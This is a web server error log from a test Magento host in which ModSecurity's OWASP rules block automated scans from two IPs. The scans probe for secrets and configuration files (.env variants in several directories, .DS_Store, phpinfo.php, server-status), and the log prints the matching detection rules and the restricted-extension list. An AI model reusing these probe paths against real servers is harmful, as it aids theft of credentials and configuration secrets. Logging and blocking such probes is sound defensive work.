[Sat Nov 01 14:15:48.309007 2025] [:error] [pid 3922694] [client 45.148.10.42:37576] [client 45.148.10.42] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.backup"] [unique_id "aQYIBHhEOnquNE1Fm9iHeAAAAA4"]
[Sat Nov 01 14:15:48.309191 2025] [:error] [pid 3922694] [client 45.148.10.42:37576] [client 45.148.10.42] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.backup"] [unique_id "aQYIBHhEOnquNE1Fm9iHeAAAAA4"]
[Sat Nov 01 14:15:48.309396 2025] [:error] [pid 3922694] [client 45.148.10.42:37576] [client 45.148.10.42] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.backup"] [unique_id "aQYIBHhEOnquNE1Fm9iHeAAAAA4"]
[Sat Nov 01 14:15:48.309555 2025] [:error] [pid 3922694] [client 45.148.10.42:37576] [client 45.148.10.42] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.backup"] [unique_id "aQYIBHhEOnquNE1Fm9iHeAAAAA4"]
[Sat Nov 01 14:15:48.331757 2025] [:error] [pid 3922694] [client 45.148.10.42:37576] [client 45.148.10.42] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.bak"] [unique_id "aQYIBHhEOnquNE1Fm9iHeQAAAA4"]
[Sat Nov 01 14:15:48.331926 2025] [:error] [pid 3922694] [client 45.148.10.42:37576] [client 45.148.10.42] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.bak"] [unique_id "aQYIBHhEOnquNE1Fm9iHeQAAAA4"]
[Sat Nov 01 14:15:48.332102 2025] [:error] [pid 3922694] [client 45.148.10.42:37576] [client 45.148.10.42] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.bak"] [unique_id "aQYIBHhEOnquNE1Fm9iHeQAAAA4"]
[Sat Nov 01 14:15:48.332246 2025] [:error] [pid 3922694] [client 45.148.10.42:37576] [client 45.148.10.42] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.bak"] [unique_id "aQYIBHhEOnquNE1Fm9iHeQAAAA4"]
[Sat Nov 01 14:15:48.355173 2025] [:error] [pid 3922694] [client 45.148.10.42:37576] [client 45.148.10.42] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.old"] [unique_id "aQYIBHhEOnquNE1Fm9iHegAAAA4"]
[Sat Nov 01 14:15:48.355321 2025] [:error] [pid 3922694] [client 45.148.10.42:37576] [client 45.148.10.42] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.old"] [unique_id "aQYIBHhEOnquNE1Fm9iHegAAAA4"]
[Sat Nov 01 14:15:48.355497 2025] [:error] [pid 3922694] [client 45.148.10.42:37576] [client 45.148.10.42] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.old"] [unique_id "aQYIBHhEOnquNE1Fm9iHegAAAA4"]
[Sat Nov 01 14:15:48.355662 2025] [:error] [pid 3922694] [client 45.148.10.42:37576] [client 45.148.10.42] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.old"] [unique_id "aQYIBHhEOnquNE1Fm9iHegAAAA4"]
[Sat Nov 01 14:15:48.377946 2025] [:error] [pid 3922694] [client 45.148.10.42:37576] [client 45.148.10.42] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.dev"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.dev"] [unique_id "aQYIBHhEOnquNE1Fm9iHewAAAA4"]
[Sat Nov 01 14:15:48.378118 2025] [:error] [pid 3922694] [client 45.148.10.42:37576] [client 45.148.10.42] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.dev"] [unique_id "aQYIBHhEOnquNE1Fm9iHewAAAA4"]
[Sat Nov 01 14:15:48.378264 2025] [:error] [pid 3922694] [client 45.148.10.42:37576] [client 45.148.10.42] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.dev"] [unique_id "aQYIBHhEOnquNE1Fm9iHewAAAA4"]
[Sat Nov 01 14:15:48.400589 2025] [:error] [pid 3922694] [client 45.148.10.42:37576] [client 45.148.10.42] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.production"] [unique_id "aQYIBHhEOnquNE1Fm9iHfAAAAA4"]
[Sat Nov 01 14:15:48.400753 2025] [:error] [pid 3922694] [client 45.148.10.42:37576] [client 45.148.10.42] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.production"] [unique_id "aQYIBHhEOnquNE1Fm9iHfAAAAA4"]
[Sat Nov 01 14:15:48.400902 2025] [:error] [pid 3922694] [client 45.148.10.42:37576] [client 45.148.10.42] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.production"] [unique_id "aQYIBHhEOnquNE1Fm9iHfAAAAA4"]
[Sat Nov 01 14:15:48.423155 2025] [:error] [pid 3922694] [client 45.148.10.42:37576] [client 45.148.10.42] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.local"] [unique_id "aQYIBHhEOnquNE1Fm9iHfQAAAA4"]
[Sat Nov 01 14:15:48.423307 2025] [:error] [pid 3922694] [client 45.148.10.42:37576] [client 45.148.10.42] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.local"] [unique_id "aQYIBHhEOnquNE1Fm9iHfQAAAA4"]
[Sat Nov 01 14:15:48.423459 2025] [:error] [pid 3922694] [client 45.148.10.42:37576] [client 45.148.10.42] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.local"] [unique_id "aQYIBHhEOnquNE1Fm9iHfQAAAA4"]
[Sat Nov 01 14:15:48.445703 2025] [:error] [pid 3922694] [client 45.148.10.42:37576] [client 45.148.10.42] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /api/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/.env"] [unique_id "aQYIBHhEOnquNE1Fm9iHfgAAAA4"]
[Sat Nov 01 14:15:48.445848 2025] [:error] [pid 3922694] [client 45.148.10.42:37576] [client 45.148.10.42] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/.env"] [unique_id "aQYIBHhEOnquNE1Fm9iHfgAAAA4"]
[Sat Nov 01 14:15:48.445988 2025] [:error] [pid 3922694] [client 45.148.10.42:37576] [client 45.148.10.42] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/.env"] [unique_id "aQYIBHhEOnquNE1Fm9iHfgAAAA4"]
[Sat Nov 01 14:15:48.468088 2025] [:error] [pid 3922694] [client 45.148.10.42:37576] [client 45.148.10.42] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /config/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/config/.env"] [unique_id "aQYIBHhEOnquNE1Fm9iHfwAAAA4"]
[Sat Nov 01 14:15:48.468232 2025] [:error] [pid 3922694] [client 45.148.10.42:37576] [client 45.148.10.42] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/config/.env"] [unique_id "aQYIBHhEOnquNE1Fm9iHfwAAAA4"]
[Sat Nov 01 14:15:48.468380 2025] [:error] [pid 3922694] [client 45.148.10.42:37576] [client 45.148.10.42] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/config/.env"] [unique_id "aQYIBHhEOnquNE1Fm9iHfwAAAA4"]
[Sat Nov 01 14:15:48.490743 2025] [:error] [pid 3922694] [client 45.148.10.42:37576] [client 45.148.10.42] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /backend/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/backend/.env"] [unique_id "aQYIBHhEOnquNE1Fm9iHgAAAAA4"]
[Sat Nov 01 14:15:48.490879 2025] [:error] [pid 3922694] [client 45.148.10.42:37576] [client 45.148.10.42] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/backend/.env"] [unique_id "aQYIBHhEOnquNE1Fm9iHgAAAAA4"]
[Sat Nov 01 14:15:48.491018 2025] [:error] [pid 3922694] [client 45.148.10.42:37576] [client 45.148.10.42] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/backend/.env"] [unique_id "aQYIBHhEOnquNE1Fm9iHgAAAAA4"]
[Sat Nov 01 14:15:48.513354 2025] [authz_core:error] [pid 3922694] [client 45.148.10.42:37576] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/app/.env
[Sat Nov 01 14:15:48.536058 2025] [:error] [pid 3922694] [client 45.148.10.42:37576] [client 45.148.10.42] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /laravel/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/laravel/.env"] [unique_id "aQYIBHhEOnquNE1Fm9iHggAAAA4"]
[Sat Nov 01 14:15:48.536227 2025] [:error] [pid 3922694] [client 45.148.10.42:37576] [client 45.148.10.42] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/laravel/.env"] [unique_id "aQYIBHhEOnquNE1Fm9iHggAAAA4"]
[Sat Nov 01 14:15:48.536383 2025] [:error] [pid 3922694] [client 45.148.10.42:37576] [client 45.148.10.42] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/laravel/.env"] [unique_id "aQYIBHhEOnquNE1Fm9iHggAAAA4"]
[Sat Nov 01 14:15:51.278100 2025] [authz_core:error] [pid 3922697] [client 45.148.10.42:37590] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/dev/phpinfo.php
[Sat Nov 01 16:19:21.314844 2025] [authz_core:error] [pid 3933628] [client 138.68.82.23:56074] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/server-status
[Sat Nov 01 16:19:21.928264 2025] [:error] [pid 3922698] [client 138.68.82.23:56088] [client 138.68.82.23] ModSecurity: Warning. Matched phrase "/.DS_Store" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.DS_Store found within REQUEST_FILENAME: /.ds_store"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.DS_Store"] [unique_id "aQYk-Y4E6XenqDVeZAyLYQAAABM"]
[Sat Nov 01 16:19:21.928482 2025] [:error] [pid 3922698] [client 138.68.82.23:56088] [client 138.68.82.23] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.DS_Store"] [unique_id "aQYk-Y4E6XenqDVeZAyLYQAAABM"]
[Sat Nov 01 16:19:21.928642 2025] [:error] [pid 3922698] [client 138.68.82.23:56088] [client 138.68.82.23] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.DS_Store"] [unique_id "aQYk-Y4E6XenqDVeZAyLYQAAABM"]
[Sat Nov 01 16:19:22.182678 2025] [:error] [pid 3922693] [client 138.68.82.23:56102] [client 138.68.82.23] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aQYk-iye8YYWNRMT8rr2uQAAAAo"]
